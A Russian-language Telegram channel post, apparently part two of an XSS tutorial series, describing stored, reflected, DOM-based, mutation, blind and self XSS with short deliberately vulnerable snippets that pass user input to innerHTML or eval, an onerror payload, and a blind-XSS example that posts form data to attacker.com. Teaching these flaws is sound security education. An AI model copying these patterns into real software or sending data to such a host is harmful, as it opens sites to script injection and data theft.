TGViewer
ВАЙЛТ™ ВАЙЛТ™ @whilet_ru · 1.17K subscribers
Post #1940 653
#Интересно

Часть 1. О XSS

Часть 2. XSS Типы + примеры

XSS-атаки бывают:
• Сохраняемые, когда вредоносный скрипт сохраняется в БД приложения и запускается у клиента.
<textarea id="comment">
<img src="x" onerror="alert('XSS')">
</textarea>
<button onclick="saveComment()">Submit</button>
<div id="comments"></div>

let comments = []; 
function saveComment() {
let comment = document.getElementById('comment').value;
comments.push(comment);
document.getElementById('comments').innerHTML += comment + '<br>';
}

• Отраженные, когда эксплойт не хранится в базе данных и атака происходит через URL, добавляя вредоносный скрипт в тело ответа.
<form method="get" action="/"> 
<input type="text" name="q">
<input type="submit" value="Search">
</form>

const query = new URLSearchParams(window.location.search).get('q'); 
document.body.innerHTML += query;

• На основе DOM, где страница не меняется на сервере и вредоносный скрипт добавляется в JS в рантайме и никогда не покидает браузер.
<form id="xssForm"> 
<input type="text" id="userInput" placeholder="Enter text">
<button type="submit">Submit</button>
</form>
<div id="output"></div>

 document.getElementById('xssForm').addEventListener('submit', function(e) { 
e.preventDefault();
var userInput = document.getElementById('userInput').value;
document.getElementById('output').innerHTML = userInput;
});

• mXSS или XSS с мутациями, которая использует механизм очистки и санитайзинга пользовательского ввода браузерами.
<div id="content"></div>

var maliciousScript = document.createElement('div'); 
maliciousScript.innerHTML = '<img src="x" onerror="step2()">';

document.getElementById('content').appendChild(maliciousScript);

function step2() {
var script = document.createElement('script');
script.innerHTML = 'alert("XSS Attack!")';
document.body.appendChild(script);
}

• Blind XSS — подмножество сохраняемого XSS, когда эксплойт может запуститься не сразу и даже в другом приложении.
<form action="http://example.com/submit" method="POST"> 
<input type="text" name="name" placeholder="Enter your name">
<input type="submit" value="Submit">
</form>

document.forms[0].onsubmit = function() { 
fetch('http://attacker.com/log', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({data: document.forms[0].name.value})
});
};

• Self XSS — атака, при которой жертва сама запускает вредоносный скрипт через консоль браузера.
<input id="input" type="text" placeholder="Enter text"> 
<button onclick="execute()">Run</button>

function execute() { 
let input = document.getElementById('input').value;
eval(input);
}

Если хотите выпуск 3 части (предотвращение XSS атаки + примеры) ставьте 👍🏼

WEBIK | @gki_webik_ru
  • 👍 23
  • 🔥 4
  • ❤ 1
  • 🤯 1
More from @whilet_ru
  1. May 29, 2026#Мем @whilet_ru
  2. May 29, 2026#Мем @whilet_ru
  3. May 29, 2026Вы регистрируетесь на международный вебинар, видите в письме «Начало в 15:00 МСК», спокойн…
  4. May 28, 2026#Мем @whilet_ru
  5. May 28, 2026#Мем @whilet_ru
  6. May 28, 2026Вы покупаете новый телефон, и он радует вас суперспособностью: с нуля до ста процентов за…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →